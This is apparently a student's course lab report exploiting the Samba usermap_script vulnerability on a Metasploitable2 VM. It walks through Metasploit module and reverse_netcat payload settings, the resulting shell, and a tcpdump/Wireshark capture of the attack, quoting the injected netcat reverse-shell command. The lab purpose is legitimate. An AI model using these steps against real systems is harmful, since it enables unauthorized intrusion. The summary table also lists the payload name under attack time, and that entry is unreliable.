20252818 2025-2026-2 《网络攻防实践》第七次作业

1.实践内容

(1)使用Metasploit进行Linux远程渗透攻击

任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:

①启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;

②使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;

③选择攻击PAYLOAD为远程shell,(正向或反向连接均可);

④设置渗透攻击参数(RHOST,LHOST,TARGET等);

⑤执行渗透攻击;

⑥查看是否正确得到远程Shell,并查看获得的权限。

(2)实践作业:攻防对抗实践

攻击方:使用Metasploit ,选择Metasploitable靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。

防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。

2.实践过程

2.1 实验环境准备

本次实验采用虚拟机环境搭建攻防平台,具体环境信息如下:

  • 攻击机:Kali Linux,IP 地址:192.168.200.132
  • 靶机:Metasploitable2 Linux,IP 地址:192.168.200.130
  • 网络环境:两台虚拟机处于同一网段,网络互通正常

实验开始前,通过下面命令验证攻击机与靶机之间的网络连通性:

ping 192.168.200.130

Kali ping通Metasploitable2
image

通过ping测试可以看到,Kali能够正常访问Metasploitable2,说明两台虚拟机网络连接正常,可以继续进行后续实验。

2.2 Metasploit渗透攻击Samba漏洞

2.2.1 启动Metasploit并加载攻击模块

在 Kali Linux 终端中执行以下命令启动Metasploit控制台:

msfconsole -q

启动成功后,搜索Samba usermap_script漏洞对应的攻击模块:

search usermap_script

image

搜索结果中可以看到存在模块:

exploit/multi/samba/usermap_script

该模块利用Samba服务中用户名映射脚本的命令注入漏洞,可执行任意系统命令。

使用该模块:

use exploit/multi/samba/usermap_script

image

2.2.2 配置攻击参数与载荷

首先查看该模块支持的所有载荷:

show payloads

image

尝试使用反向连接载荷cmd/unix/reverse_netcat,并配置相关参数:

set payload cmd/unix/reverse_netcat
set RHOSTS 192.168.200.130
set LHOST 192.168.200.132

image

其中RHOSTS是靶机IP,即Metasploitable2的IP是192.168.200.130LHOST是攻击机IP,即Kali的IP是192.168.200.132

查看所有配置参数确认无误:

show options

image

执行攻击:

exploit

image

攻击成功后,控制台显示:

Command shell session 1 opened

说明成功获取靶机的远程Shell。

2.2.3 验证系统权限

在获取的 Shell 中执行以下命令,验证获得的权限级别和系统信息:

whoami
id
ifconfig
ls

image

执行结果显示,成功获得了靶机的远程控制权限。通过whoamiid可以查看当前用户和权限,通过ifconfig可以确认当前Shell所在主机是Metasploitable2。

2.3 攻防对抗:网络流量捕获与分析

2.3.1 使用tcpdump捕获攻击流量

在执行攻击前,新开一个Kali Linux终端,准备捕获网络流量。直接执行抓包命令:

tcpdump -i eth0 host 192.168.200.130 -w samba_attack.pcap

出现权限不足:

You don't have permission to perform this capture on that device

添加sudo提权后执行抓包命令:

sudo tcpdump -i eth0 host 192.168.200.130 -w samba_attack.pcap

image

保持抓包终端运行,回到 Metasploit 终端重新执行完整的攻击流程,并在获取Shell后执行命令ifconfig。攻击全部完成后,在抓包终端按下 Ctrl+C 停止抓包,数据包文件 samba_attack.pcap 保存在 Kali 中。

image
image

2.3.2 使用Wireshark分析攻击流量

启动Wireshark,打开捕获的samba_attack.pcap文件。

image

在顶部过滤栏输入以下过滤语句,只显示攻击机与靶机之间的流量:

ip.addr == 192.168.200.132 && ip.addr == 192.168.200.130

image

从过滤后的流量中可以看到:

  • 源 IP 地址:192.168.200.132,即Kali攻击机
  • 目的 IP 地址:192.168.200.130,即Metasploitable2靶机
  • 目标端口:139,即Samba服务默认端口
  • 主要协议:TCP、SMB协议

在数据包列表中找到包含SMB协议的核心攻击数据包,也就是第13条,右键点击选择:

Follow → TCP Stream

image

image

攻击执行的命令是第20条,右键点击选择:

Follow → TCP Stream

image

image

可以看到,攻击方执行的命令是ipconfig。
关于攻击事件,对wireshark进行如下设置:
image
可以查看到具体攻击时间
image

通过分析TCP流数据,可以还原攻击过程:

  1. 攻击机192.168.200.132与靶机192.168.200.130139端口建立 TCP 三次握手;
  2. 攻击机发送SMB协议请求,在Session Setup AndX Request的User字段中注入恶意命令;
  3. 靶机执行注入命令,通过nc 192.168.200.132 4444主动反连Kali攻击机;
  4. Kali的4444端口接收到靶机反连后,建立反向Shell会话。

2.4 攻击过程分析

结合 Metasploit 执行结果和 Wireshark 抓包结果,可以还原本次攻击过程。

首先,Kali 攻击机通过msfconsole -q启动Metasploit,并搜索usermap_script漏洞模块。之后使用exploit/multi/samba/usermap_script模块,针对Metasploitable2靶机的Samba服务进行漏洞利用。

其次,攻击机192.168.200.132与靶机192.168.200.130139端口建立 TCP 连接,并通过SMB协议发送Session Setup AndX Request请求。在该请求的 User 字段中可以看到 nohupmkfifonc 192.168.200.132 4444/bin/sh 等内容,说明攻击者将反向Shell命令注入到了Samba用户名字段中。

随后,靶机执行注入命令,并主动连接Kali攻击机的4444端口,从而建立反向Shell会话。最后,在获取Shell后,通过执行whoamiidifconfigls等命令,验证攻击者已经能够在靶机上执行系统命令。

本次攻击的关键信息如下:

项目 内容
攻击机 Kali Linux
攻击机IP 192.168.200.132
靶机 Metasploitable2 Linux
靶机IP 192.168.200.130
攻击工具 Metasploit
攻击模块 exploit/multi/samba/usermap_script
Shellcode/Payload cmd/unix/reverse_netcat
攻击时间 cmd/unix/reverse_netcat
目标服务 Samba
目标端口 139
反连端口 4444
抓包工具 tcpdump
分析工具 Wireshark
抓包文件 samba_attack.pcap

3.学习中遇到的问题及解决

问题1:启动Metasploit时出现WARNING: No database support: No database YAML file,一开始不确定是否会影响实验。
问题1解决方案:结合后续实验发现,该提示只是说明Metasploit当前没有启用数据库支持,不影响漏洞模块搜索、参数配置和漏洞利用。因此继续使用search usermap_script搜索模块,并成功加载exploit/multi/samba/usermap_script

问题2:直接运行tcpdump命令时,提示网卡抓包权限不足,无法进行数据包捕获。
问题2解决方案:tcpdump需要root权限才能访问网络接口进行抓包操作,因此在命令前添加sudo进行提权,之后可以正常执行抓包并保存数据包文件。

4.实践总结

通过本次实践,我掌握了Metasploit渗透测试框架的基本使用流程,包括启动 Metasploit、搜索漏洞模块、加载攻击模块、配置 payload、设置 RHOSTS 和 LHOST、执行 exploit 以及验证 Shell 权限。

本次实验中比较关键的一点是,我不仅在Metasploit中看到了Command shell session 1 opened,还通过Wireshark抓包进一步验证了攻击过程。在第15条SMB数据包中,Session Setup AndX Request的User字段里出现了nohupmkfifonc 192.168.200.132 4444/bin/sh等命令,说明攻击者将反向Shell命令注入到了Samba用户名字段中。

在攻防对抗部分,我学习了如何使用tcpdump捕获攻击流量,并使用Wireshark对pcap文件进行分析。通过IP过滤和TCP流追踪,可以看到 Kali 先访问靶机的 139 端口发送 SMB 请求,随后靶机主动连接Kali的4444端口建立反向Shell。这个过程说明漏洞利用并不只是命令行中的一次exploit,而是在网络中表现为一系列可以被捕获和分析的数据包。

总体来说,本次实验让我对Samba usermap_script漏洞利用、Metasploit攻击流程、tcpdump抓包和Wireshark流量分析有了更加直观的认识,也提高了我从攻击方和防守方两个角度理解网络攻防过程的能力。

posted @ 2026-04-27 14:33  一匹神马  阅读(18)  评论(0)    收藏  举报